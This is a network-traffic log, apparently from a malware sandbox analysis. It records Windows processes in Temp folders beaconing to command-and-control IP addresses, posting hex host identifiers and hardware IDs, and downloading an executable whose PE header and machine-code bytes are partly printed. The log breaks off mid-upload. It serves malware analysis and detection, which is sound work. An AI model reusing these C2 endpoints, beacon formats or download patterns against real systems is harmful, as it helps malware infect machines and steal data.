Dec 23, 2024 17:18:34.123167992 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 23 Dec 2024 16:18:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
93	192.168.2.9	49841	185.215.113.209	80	6736	C:\Users\user\AppData\Local\Temp\fc9e0aaab7\defnur.exe

Timestamp	Bytes transferred	Direction	Data
Dec 23, 2024 17:18:32.802830935 CET	156	OUT	POST /Fru7Nk9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.209 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 23, 2024 17:18:34.171305895 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 23 Dec 2024 16:18:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
94	192.168.2.9	49842	185.156.73.23	80	4112	C:\Users\user\AppData\Local\Temp\1008387001\ba327bb7fd.exe

Timestamp	Bytes transferred	Direction	Data
Dec 23, 2024 17:18:32.988703012 CET	395	OUT	GET /files/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: C Host: 185.156.73.23 Connection: Keep-Alive Cache-Control: no-cache
Dec 23, 2024 17:18:34.295788050 CET	204	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 16:18:34 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
95	192.168.2.9	49845	31.41.244.11	80	1980	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 23, 2024 17:18:33.837286949 CET	54	OUT	GET /files/client.exe HTTP/1.1 Host: 31.41.244.11
Dec 23, 2024 17:18:35.142988920 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 23 Dec 2024 16:18:34 GMT Content-Type: application/octet-stream Content-Length: 83474441 Last-Modified: Mon, 23 Dec 2024 15:55:46 GMT Connection: keep-alive ETag: "67698802-4f9b809" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 27 58 b0 38 63 39 de 6b 63 39 de 6b 63 39 de 6b 77 52 da 6a 68 39 de 6b 77 52 dd 6a 64 39 de 6b 77 52 db 6a df 39 de 6b 05 56 23 6b 67 39 de 6b 31 4c db 6a 45 39 de 6b 31 4c da 6a 72 39 de 6b 31 4c dd 6a 6a 39 de 6b 77 52 df 6a 68 39 de 6b 63 39 df 6b e4 39 de 6b d9 4c da 6a 70 39 de 6b d9 4c dc 6a 62 39 de 6b 52 69 63 68 63 39 de 6b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 64 86 07 00 33 83 69 67 00 00 00 00 00 00 00 00 f0 00 22 00 0b 02 0e 1d 00 36 02 00 00 54 01 00 00 00 00 00 c8 a8 00 00 00 10 00 00 00 00 00 40 01 00 00 00 00 10 00 00 00 02 00 00 05 00 02 00 00 00 00 00 05 00 02 00 00 00 00 00 00 d0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$'X8c9kc9kc9kwRjh9kwRjd9kwRj9kV#kg9k1LjE9k1Ljr9k1Ljj9kwRjh9kc9k9kLjp9kLjb9kRichc9kPEd3ig"6T@>(`[xH 9@98P.text56 `.rdataP:@@.datapT@.pdata`@@_RDATA~@@.rsrc@@.relocH@B
Dec 23, 2024 17:18:35.143003941 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 53 48 83 ec 20 e8 2d b8 00 00 48 8b 18 e8 1d b8 00 00 48 8b d3 8b Data Ascii: @SH -HH`HHH [$H1cHT$HL$SUVWAVAWH3MHHD$PHHD$XHODHD$`D@XD$(HL$ HD$ I
Dec 23, 2024 17:18:35.143016100 CET	1236	IN	Data Raw: 00 44 8b f8 85 c0 74 26 48 8d 53 12 44 8b c0 48 8d 0d 25 44 02 00 e8 a0 16 00 00 8d 45 ff 48 81 c4 88 00 00 00 41 5f 41 5e 5f 5e 5d 5b c3 b9 00 20 00 00 4c 89 ac 24 80 00 00 00 e8 8b e8 00 00 4c 8b e8 48 85 c0 75 1c 4c 8d 43 12 48 8d 15 38 44 02 Data Ascii: Dt&HSDH%DEHA_A^_^][ L$LHuLCH8DHuDc ]HHuLCHZDHGD5L$Dc@fL L;IIHGLnH;HL+\$(Ll$ f
Dec 23, 2024 17:18:35.143053055 CET	1236	IN	Data Raw: 85 ff 0f 84 84 00 00 00 48 89 74 24 58 66 66 0f 1f 84 00 00 00 00 00 4d 8b 0e 49 3b fd 48 8b f7 41 b8 01 00 00 00 49 0f 47 f5 49 8b cf 48 8b d6 e8 32 b6 00 00 48 83 f8 01 72 31 4d 8b cc 41 b8 01 00 00 00 48 8b d6 49 8b cf e8 40 bb 00 00 48 83 f8 Data Ascii: Ht$XffMI;HAIGIH2Hr1MAHI@HrH+u+H@H@Hl@H@LHt$XIOLl$(L\|$ IHtIIHl$PLd$`H0A^_[@SH LAHLQLM;sB
Dec 23, 2024 17:18:35.143065929 CET	1236	IN	Data Raw: 84 c0 75 ef 48 8b cf e8 47 fd ff ff 85 c0 74 22 48 8b 0f 48 85 c9 74 08 e8 5a ae 00 00 48 89 37 33 c0 48 8b 5c 24 30 48 8b 74 24 38 48 83 c4 20 5f c3 48 8b 5c 24 30 b8 01 00 00 00 48 8b 74 24 38 48 83 c4 20 5f c3 cc cc cc cc cc cc cc cc cc cc cc Data Ascii: uHGt"HHtZH73H\$0Ht$8H _H\$0Ht$8H _Ht7SH HHIHtHHtHHH [@SH P_HHuH=H=HH [LD$LL$ SUVWH8IHl$xHH
Dec 23, 2024 17:18:35.143079996 CET	672	IN	Data Raw: 24 60 e8 f8 00 00 00 48 8b 8c 24 70 02 00 00 48 33 cc e8 b8 86 00 00 4c 8d 9c 24 80 02 00 00 49 8b 5b 18 49 8b 6b 20 49 8b 73 28 49 8b e3 5f c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 48 89 5c 24 08 57 48 83 ec 20 49 8b f9 48 8b d9 83 ea 05 Data Ascii: $`H$pH3L$I[Ik Is(I_H\$WH IHtftZt(uA@f;wA&4H\$0H _LIY3HH\$0H _3LIH(E33H3H\$03H _
Dec 23, 2024 17:18:35.144165039 CET	1236	IN	Data Raw: 20 ff 15 08 32 02 00 0f b7 96 5a 20 00 00 0f b7 86 58 20 00 00 44 8b ca 44 0f b7 96 5c 20 00 00 66 44 2b f0 48 8b 8e 40 20 00 00 66 2b e8 66 45 2b f2 c7 44 24 28 01 00 00 00 66 2b ea 45 0f b7 c6 0f b7 d5 44 89 54 24 20 ff 15 c0 31 02 00 48 8b 4c Data Ascii: 2Z X DD\ fD+H@ f+fE+D$(f+EDT$ 1HL$@H3HPA^_^][@USVWAVH$0!H+HMH3H HM3H*.3HAH3HL6fQ@
Dec 23, 2024 17:18:35.144224882 CET	1236	IN	Data Raw: 4c 8d 8c 24 30 04 00 00 4c 8d 05 8c 33 02 00 48 89 7c 24 20 ba 00 04 00 00 48 8d 4c 24 30 e8 68 f4 ff ff 33 d2 48 8d 8c 24 30 08 00 00 41 b8 00 08 00 00 e8 73 93 00 00 41 b8 00 04 00 00 48 8d 54 24 30 48 8d 8c 24 30 10 00 00 e8 ab 4d 00 00 48 85 Data Ascii: L$0L3H\|$ HL$0h3H$0AsAHT$0H$0MHt:AH3H$0MA0L$0H$03>,A0L2HT$03*,H$0H3~H@_^[HL$HT$LD$LL$ SWH~H+H~H
Dec 23, 2024 17:18:35.144238949 CET	448	IN	Data Raw: e8 62 02 00 00 85 c0 74 5e 48 8d 85 50 0f 00 00 4d 8b ce 4c 8d 83 78 20 00 00 48 89 44 24 20 48 8d 15 39 2f 02 00 48 8d 8d 50 1f 00 00 e8 35 02 00 00 85 c0 74 31 48 8d 85 50 0f 00 00 4d 8b ce 4c 8d 83 78 20 00 00 48 89 44 24 20 48 8d 15 18 2f 02 Data Ascii: bt^HPMLx HD$ H9/HP5t1HPMLx HD$ H/HPH6H^Ht;DHCxLPL+B+uHuJ\IHuHHkHHxLPL.,=
Dec 23, 2024 17:18:35.144269943 CET	1236	IN	Data Raw: 4c 2b c8 0f 1f 40 00 44 0f b6 00 42 0f b6 0c 08 44 2b c1 75 07 48 ff c0 85 c9 75 eb 45 85 c0 75 0f 48 8b d7 48 8b cb e8 eb e6 ff ff 85 c0 75 1b 48 8b d7 48 8b cb e8 0c ea ff ff 48 8b f8 48 3b 43 18 72 b3 33 c0 e9 a7 fd ff ff 48 8d 54 24 50 48 8d Data Ascii: L+@DBD+uHuEuHHuHHHH;Cr3HT$PHx-HH,HHPH,-XhLISMCMK SVWHpHBH3HD$`HIsH<Ht$(LAHD$ H
Dec 23, 2024 17:18:35.263014078 CET	1236	IN	Data Raw: e8 5a c7 00 00 48 8b d3 48 8b ce e8 63 e5 ff ff 48 8b d8 48 3b 46 18 0f 82 26 ff ff ff 33 c0 48 8b bc 24 b0 10 00 00 48 8b ac 24 a8 10 00 00 4c 8b bc 24 70 10 00 00 48 8b 8c 24 60 10 00 00 48 33 cc e8 ac 73 00 00 48 81 c4 80 10 00 00 41 5e 5e 5b Data Ascii: ZHHcHH;F&3H$H$L$pH$`H3sHA^^[LD$HL$xHT$@HL$PKLD$HHT$@HL$PKHL$@E3EJHHKHtHLHIHa)HHtHm)LYHD$PH$(Ht$

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
96	192.168.2.9	49846	185.215.113.16	80	3236	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Dec 23, 2024 17:18:34.523705959 CET	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 23, 2024 17:18:35.950325012 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 23 Dec 2024 16:18:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
97	192.168.2.9	49848	185.215.113.209	80	6736	C:\Users\user\AppData\Local\Temp\fc9e0aaab7\defnur.exe

Timestamp	Bytes transferred	Direction	Data
Dec 23, 2024 17:18:35.966541052 CET	306	OUT	POST /Fru7Nk9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.209 Content-Length: 152 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 35 45 32 41 43 36 31 37 42 35 30 44 37 39 46 41 42 31 35 30 42 45 39 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 44 35 46 33 30 46 38 45 30 34 42 32 41 37 34 36 35 42 34 46 41 34 31 30 45 42 38 43 30 41 44 43 43 45 43 46 31 44 43 43 42 37 31 43 38 34 33 44 34 31 30 30 39 32 45 30 45 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6255E2AC617B50D79FAB150BE92BB81278509C05BEA3669A52777FA6135D5F30F8E04B2A7465B4FA410EB8C0ADCCECF1DCCB71C843D410092E0E
Dec 23, 2024 17:18:37.356388092 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 23 Dec 2024 16:18:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
98	192.168.2.9	49850	185.215.113.16	80	3236	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Dec 23, 2024 17:18:36.242295027 CET	306	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 152 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 45 46 38 41 30 34 46 43 39 46 33 46 44 33 33 43 32 31 38 42 41 42 38 30 38 31 43 34 35 32 45 33 44 43 37 45 37 34 37 36 43 39 44 39 30 46 46 31 46 33 32 38 38 31 46 35 31 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CEF8A04FC9F3FD33C218BAB8081C452E3DC7E7476C9D90FF1F32881F51
Dec 23, 2024 17:18:37.635432005 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 23 Dec 2024 16:18:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
99	192.168.2.9	49851	185.156.73.23	80	4112	C:\Users\user\AppData\Local\Temp\1008387001\ba327bb7fd.exe

Timestamp	Bytes transferred	Direction	Data
Dec 23, 2024 17:18:36.946855068 CET	395	OUT	GET /files/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: C Host: 185.156.73.23 Connection: Keep-Alive Cache-Control: no-cache
Dec 23, 2024 17:18:38.270122051 CET	204	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 16:18:37 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
100	192.168.2.9	49852	185.215.113.16	80	3236	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Dec 23, 2024 17:18:38.008604050 CET	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 23, 2024 17:18:39.312988043 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 23 Dec 2024 16:18:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
101	192.168.2.9	49854	185.215.113.209	80	6736	C:\Users\user\AppData\Local\Temp\fc9e0aaab7\defnur.exe

Timestamp	Bytes transferred	Direction	Data
Dec 23, 2024 17:18:39.211580038 CET	156	OUT	POST /Fru7Nk9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.209 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 23, 2024 17:18:40.524758101 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 23 Dec 2024 16:18:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
102	192.168.2.9	49855	185.215.113.16	80	3236	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Dec 23, 2024 17:18:39.557260990 CET	306	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 152 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 45 46 38 41 30 34 46 43 39 46 33 46 44 33 33 43 32 31 38 42 41 42 38 30 38 31 43 34 35 32 45 33 44 43 37 45 37 34 37 36 43 39 44 39 30 46 46 31 46 33 32 38 38 31 46 35 31 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CEF8A04FC9F3FD33C218BAB8081C452E3DC7E7476C9D90FF1F32881F51
Dec 23, 2024 17:18:40.882927895 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 23 Dec 2024 16:18:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
103	192.168.2.9	49856	185.156.73.23	80	4112	C:\Users\user\AppData\Local\Temp\1008387001\ba327bb7fd.exe

Timestamp	Bytes transferred	Direction	Data
Dec 23, 2024 17:18:40.557565928 CET	395	OUT	GET /files/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: C Host: 185.156.73.23 Connection: Keep-Alive Cache-Control: no-cache
Dec 23, 2024 17:18:41.892494917 CET	204	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 16:18:41 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
104	192.168.2.9	49859	185.215.113.16	80	3236	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Dec 23, 2024 17:18:41.213987112 CET	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 23, 2024 17:18:42.545051098 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 23 Dec 2024 16:18:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
105	192.168.2.9	49860	185.215.113.209	80	6736	C:\Users\user\AppData\Local\Temp\fc9e0aaab7\defnur.exe

Timestamp	Bytes transferred	Direction	Data
Dec 23, 2024 17:18:42.475550890 CET	306	OUT	POST /Fru7Nk9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.209 Content-Length: 152 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 35 45 32 41 43 36 31 37 42 35 30 44 37 39 46 41 42 31 35 30 42 45 39 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 44 35 46 33 30 46 38 45 30 34 42 32 41 37 34 36 35 42 34 46 41 34 31 30 45 42 38 43 30 41 44 43 43 45 43 46 31 44 43 43 42 37 31 43 38 34 33 44 34 31 30 30 39 32 45 30 45 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6255E2AC617B50D79FAB150BE92BB81278509C05BEA3669A52777FA6135D5F30F8E04B2A7465B4FA410EB8C0ADCCECF1DCCB71C843D410092E0E
Dec 23, 2024 17:18:43.784559011 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 23 Dec 2024 16:18:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
106	192.168.2.9	49861	185.215.113.16	80	3236	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Dec 23, 2024 17:18:42.996531010 CET	306	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 152 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 45 46 38 41 30 34 46 43 39 46 33 46 44 33 33 43 32 31 38 42 41 42 38 30 38 31 43 34 35 32 45 33 44 43 37 45 37 34 37 36 43 39 44 39 30 46 46 31 46 33 32 38 38 31 46 35 31 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CEF8A04FC9F3FD33C218BAB8081C452E3DC7E7476C9D90FF1F32881F51
Dec 23, 2024 17:18:44.291548967 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 23 Dec 2024 16:18:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
107	192.168.2.9	49863	185.156.73.23	80	4112	C:\Users\user\AppData\Local\Temp\1008387001\ba327bb7fd.exe

Timestamp	Bytes transferred	Direction	Data
Dec 23, 2024 17:18:44.423737049 CET	395	OUT	GET /files/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: C Host: 185.156.73.23 Connection: Keep-Alive Cache-Control: no-cache
Dec 23, 2024 17:18:45.773889065 CET	204	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 16:18:45 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
108	192.168.2.9	49864	185.215.113.16	80	3236	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Dec 23, 2024 17:18:44.592664957 CET	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 23, 2024 17:18:45.922895908 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 23 Dec 2024 16:18:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
109	192.168.2.9	49865	185.156.73.23	80	4940	C:\Users\user\AppData\Local\Temp\1008387001\ba327bb7fd.exe

Timestamp	Bytes transferred	Direction	Data
Dec 23, 2024 17:18:44.721894026 CET	414	OUT	GET /add?substr=mixtwo&s=three&sub=emp HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: 1 Host: 185.156.73.23 Connection: Keep-Alive Cache-Control: no-cache
Dec 23, 2024 17:18:46.063270092 CET	204	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 16:18:45 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
110	192.168.2.9	49866	185.215.113.206	80	4712	C:\Users\user\AppData\Local\Temp\1008385001\24adfe999c.exe

Timestamp	Bytes transferred	Direction	Data
Dec 23, 2024 17:18:44.879178047 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Dec 23, 2024 17:18:46.214241028 CET	203	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 16:18:45 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 23, 2024 17:18:46.255440950 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CGDGIJKFIJDAAAKFHIEG Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 47 44 47 49 4a 4b 46 49 4a 44 41 41 41 4b 46 48 49 45 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 36 33 41 31 45 41 37 33 30 44 43 31 34 37 35 39 30 32 34 33 36 0d 0a 2d 2d 2d 2d 2d 2d 43 47 44 47 49 4a 4b 46 49 4a 44 41 41 41 4b 46 48 49 45 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 74 6f 